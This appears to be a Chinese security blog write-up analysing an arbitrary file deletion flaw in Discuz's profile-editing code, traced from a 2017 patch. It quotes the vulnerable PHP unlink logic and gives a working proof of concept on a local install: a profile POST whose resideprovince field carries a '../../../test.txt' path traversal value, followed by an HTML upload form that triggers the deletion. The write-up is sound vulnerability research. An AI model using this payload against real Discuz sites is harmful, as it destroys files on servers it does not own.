PHP…

0x01

任意文件删除

漏洞分析

根据Discuz官方在2017年9月29日对代码的修改,可以粗略得看出这可能存在一个任意文件删除得漏洞.

漏洞出现在source/include/sspacecp/spacecp_profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}
-----------
if(!$upload->error()) {
$upload->save();
if(!$upload->get_image_info($attach['target'])) {
@unlink($attach['target']);
continue;
}
$setarr[$key] = '';
$attach['attachment'] = dhtmlspecialchars(trim($attach['attachment']));
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
$setarr[$key] = $attach['attachment'];
}

可以从上面看到有几个unlink的操作.首先看第一处.

1
2
3
4
5
6
7
8
9
if($_GET['deletefile'] && is_array($_GET['deletefile'])) {
foreach($_GET['deletefile'] as $key => $value) {
if(isset($_G['cache']['profilesetting'][$key]) && $_G['cache']['profilesetting'][$key]['formtype'] == 'file') {
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $setarr[$key] = '';
}
}
}

这个地方可以通过传入deletefile参数,进而进入判断,其中有一个formtype的条件需要满足,这时将$_G['cache']['profilesetting']打印出来.


这里发现formtype不是file,除了birthprovince之外,其它的formtype也不行.所以放弃这处,接着看下一处.(formhash可以通过源代码获得)
1
2
3
4
5
6
7
8
9
10
11
12
13
if($vid && $verifyconfig['available'] && isset($verifyconfig['field'][$key])) {
if(isset($verifyinfo['field'][$key])) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
}
continue;
}
if(isset($setarr[$key]) && $_G['cache']['profilesetting'][$key]['needverify']) {
@unlink(getglobal('setting/attachdir').'./profile/'.$verifyinfo['field'][$key]);
$verifyarr[$key] = $attach['attachment'];
continue;
}
@unlink(getglobal('setting/attachdir').'./profile/'.$space[$key]);

其中最后一个地方的unlink的操作没有限制,其中space变量是获取用户的相关信息.回头看看进入条件.
分别是189行和209行.



所以只要保证上传文件并且成功即可.
其中getglobal('setting/attachdir').'./profile/'data/attachment/profile.

0x02

漏洞利用

利用过程:注册用户并且修改用户信息->上传文件到相同参数.
首先在根目录中创建一个test.txt文件.


接着修改用户信息.
1
2
GET:http://localhost:4399/discuz/home.php?mod=spacecp&ac=profile&op=base
POST:profilesubmit=1&formhash=76d52736&resideprovince=../../../test.txt

当然也可以选择其它参数进行修改.


之后利用html表单上传文件.
1
2
3
4
5
6
<form action="http://localhost:4399/discuz/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">
<input type="file" name="resideprovince"/>
<input type="text" name="formhash" value="76d52736" /></p>
<input type="text" name="profilesubmit" value="1" /></p>
<input type="submit" value="submit" />
</form>

上传之后,test.txt文件被删除.

0x03

Ones’storm

需要多关注厂商对于文件的修改….
(ง •_•)ง